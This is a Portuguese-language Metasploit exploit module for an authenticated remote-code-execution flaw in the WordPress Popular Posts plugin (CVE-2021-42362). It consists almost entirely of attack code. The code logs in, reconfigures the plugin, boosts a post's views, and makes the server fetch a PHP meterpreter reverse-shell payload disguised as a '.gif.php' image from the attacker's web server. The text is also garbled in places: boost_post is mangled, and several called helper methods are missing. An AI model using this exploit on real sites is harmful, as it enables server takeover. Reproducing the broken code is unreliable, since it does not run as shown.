nate158g-m-w-n-l-p-d-a-o-e### Este módulo requer Metasploit: https://metasploit.com/download

Fonte atual: MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts RCE Autenticado', 'Description' => %q{ Este exploit requer que o Metasploit tenha um FQDN e a capacidade de executar um servidor web de payload nas portas 80, 443 ou 8080. O FQDN também não deve resolver para um endereço reservado (192/172/127/10). O servidor também deve responder a uma requisição HEAD para o payload, antes de receber uma requisição GET. Este exploit aproveita uma validação de entrada imprópria autenticada no plugin Wordpress Popular Posts <= 5.3.2. A cadeia de exploração é bastante complicada. A autenticação é necessária e o 'gd' para PHP é necessário no servidor. Em seguida, o plugin Popular Post é reconfigurado para permitir uma URL arbitrária para a imagem do post no widget. Um post é feito, então requisições são enviadas para o post para torná-lo mais popular do que o anterior #1 em 5. Uma vez que o post atinge o top 5, e após 60 segundos (esperamos 90) de atualização do cache do servidor, o widget da página inicial é carregado o que aciona o download do payload do nosso servidor pelo plugin. Nosso payload tem um cabeçalho 'GIF' e uma extensão dupla ('.gif.php') permitindo que código PHP arbitrário seja executado. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análise original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', '' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Alvo Automático', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutos, outros visitantes do site podem acionar }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Nome de usuário da conta', 'admin']), OptString.new('PASSWORD', [true, 'Senha da conta', 'admin']), OptString.new('TARGETURI', [true, 'O caminho base do servidor Wordpress', '/']), # OptString.new('SRVHOSTNAME', [true, 'FQDN do servidor metasploit. Não deve resolver para um endereço reservado (192/10/127/172)', '']), # OptEnum.new('SRVPORT', [true, 'A porta local para escutar.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress não detectado.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts não é uma versão vulnerável') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop isso 5 vezes apenas se houver um atraso de tempo na escrita do arquivo pelo servidor (1..5).each do |i| print_status("Acionando shell em: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} em 10 segundos. Tentativa #{i} de 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Falha ao encontrar payload, pode não ter sido enviado corretamente.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Respondendo à requisição HEAD inicial (passou na verificação 1)') # de acordo com devemos ter um Content-Length válido # no entanto, parece que é calculado dinamicamente, pois é sobrescrito para 0 nesta resposta. deixando aqui como notas. # também não quis enviar o payload verdadeiro no corpo para acertar o tamanho, pois isso dá maior chance de sermos pegos return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Respondendo à requisição GET (passou na verificação 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # por algum motivo estranho, precisamos fechar a conexão manualmente para o PHP/WP finalizar suas funções Rex.sleep(2) # esperar o WP terminar todas as verificações necessárias trigger_payload(on_disk_payload_name) end print_status("Recebida requisição #{request.method} inesperada") end def check_gd_installed(cookie) vprint_status('Verificando se gd está instalado') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Recuperando token wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Criando novo post') # obter ID do post e nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('campo ajax nonce ausente, tentando reativar. se isso falhar, talvez seja necessário alterar a interface para ativar isso. Veja . Ou verifique (ao escrever um post) Opções > Preferências > Painéis > Adicionais > Campos Personalizados.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Post criado: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Não foi possível recuperar nonces e/ou ID do novo post') unless ajax_nonce && wp_nonce && post_id # publicar novo post vprint_status("Escrevendo conteúdo no Post: #{post_id}") # isso é muito diferente do POC do EDB, eu continuava recebendo 200 para a página inicial com o exemplo deles, então isso é baseado no que a UI envia res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post falhou ao publicar') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adicionando metadados maliciosos para redirecionar para #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Falha ao atualizar metadados') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirecionar conforme necessário res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site não está respondendo') unless res fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless res.code == 200 || res.code == 301 print_status("Enviando #{post_count} visualizações para #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # este valor>/<e qualquer coisa depois> (1..post_count).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Falha ao recuperar página') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST deve ser definido como um endereço IP (0.0.0.0 é inválido) para que a exploração seja bem-sucedida') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Login inválido, verifique as credenciais') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Nome do arquivo payload: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd não está instalado no servidor, inexplorável') unless check_gd_installed(cookie) post_count = get_top_posts # não precisamos mais passar o cookie, pois agora está salvo no cliente http token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Iniciando servidor web para lidar com a requisição do payload de imagem') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Aguardando 90s para atualização do cache pelo servidor') Rex.sleep(90) print_status('Tentando forçar o carregamento do shell visitando a página inicial e carregando o widget') res = get_widget print_good('Chegamos ao topo!') if res.body.include? payload_name # se res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Encontrado #{datastore['SRVHOSTNAME']} no conteúdo da página. Provavelmente o payload não foi copiado para o servidor.") # end # neste ponto, confiamos que nosso servidor web receberá requisições para fazer o resto acontecer endend### Este módulo requer Metasploit: